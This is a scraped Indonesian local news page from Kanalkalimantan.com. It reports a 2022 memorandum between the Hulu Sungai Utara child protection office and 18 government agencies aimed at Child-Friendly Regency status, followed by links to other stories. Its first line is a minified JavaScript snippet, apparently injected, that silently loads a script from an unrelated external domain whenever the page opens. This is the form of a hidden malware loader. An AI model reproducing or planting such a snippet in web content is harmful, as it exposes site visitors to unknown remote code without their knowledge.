(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Komitmen menuju Kabupaten Layak Anak (KLA), Dinas Pemberdayaan Perempuan dan Perlindungan Anak (DPPPA) Kabupaten Hulu Sungai Utara (HSU) melakukan kerjasama dengan SKPD dan instansi di HSU.
Kerjasama tersebut ditandai dengan penandatanganan nota kesepahaman atau Memorandum of Understanding (MoU) antara DPPPA HSU dengan 18 SKPD dan instansi terkait, di aula DPPPA HSU, Kamis (7/4/2022).
Adapun 18 SKPD dan instansi yang melakukan MoU tersebut diantaranya, Dinas Sosial, Dinas Kesehatan, Disdikbud, Disdukcapil, Diskominfosandi, DPPKB, Dispersip HSU, Polres HSU, dan BNNK HSU.
Kepala DPPPA HSU Hj Gusti Iskandariah mengatakan kerjasama ini dilakukan terkait evaluasi KLA dan pemenuhan hak anak di Kabupaten HSU yang melibatkan seluruh SKPD dan instansi lain.
Baca juga: Urusan Sidang Cerai, Menantu Amien Rais Datang Pakai Mobil Pelat DPR
“Sejak tahun 2018, 2019, 2020 dan 2021 kita mengikuti evaluasi, pertanyaannya masih sama? layakkah HSU menjadi KLA, sesuai indikator dan pertanyaan-pertanyaannya lainnya sehingga menuju KLA di tahun 2002 ini,” kata Gusti.
Jumlah anak ada sekitar 33,3 persen di Kabupaten HSU, perlu program khusus untuk mengarahkan mereka ke arah yang lebih baik.
Sementara itu, Pelaksana Tugas (Plt) Bupati HSU H Husairi Abdi berharap kegiatan ini akan membawa manfaat yang sebesar-besarnya dalam rangka pemenuhan hak dan perlindungan anak.
Perlu perhatian serius dan komitmen yang tinggi dari seluruh SKPD dan instansi terkait untuk keberhasilan mewujudkan KLA di Kabupaten HSU.
Baca juga: Sebilah Belati Antar KA ke Jeruji Mapolsek Batulicin
“Mengingat bahwa anak kita di masa yang akan datang maka menjadi kewajiban kita bersama untuk menjadikannya lebih berkualitas sehingga mereka akan menjadi generasi yang lebih baik,” kata Husairi.
“Kami juga berharap indikator-indikator Kabupaten Layak Anak tersebut tidak berhenti menjadi baik saja, tetapi dapat menjadi acuan bagi kabupaten dalam memenuhi hak-hak anak melalui pengembangan yang terintegrasi dan berkelanjutan,” tandasnya. (Kanalkalimantan.com/dew)
Reporter : dew
Editor : bie
KANALKALIMANTAN.COM, BANJARMASIN - Dalam perayaan Tahun Baru Imlek, ada banyak warna merah menghiasi segala aspek… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Kuda Api menjadi shio di tahun baru Imlek 2026. Apa makna di… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Di bawah kilauan lampion dan lilin yang berjejer rapi, ratusan warga Tionghoa… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More
KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengamankan belasan remaja dan sejumlah senjata tajam… Read More
This website uses cookies.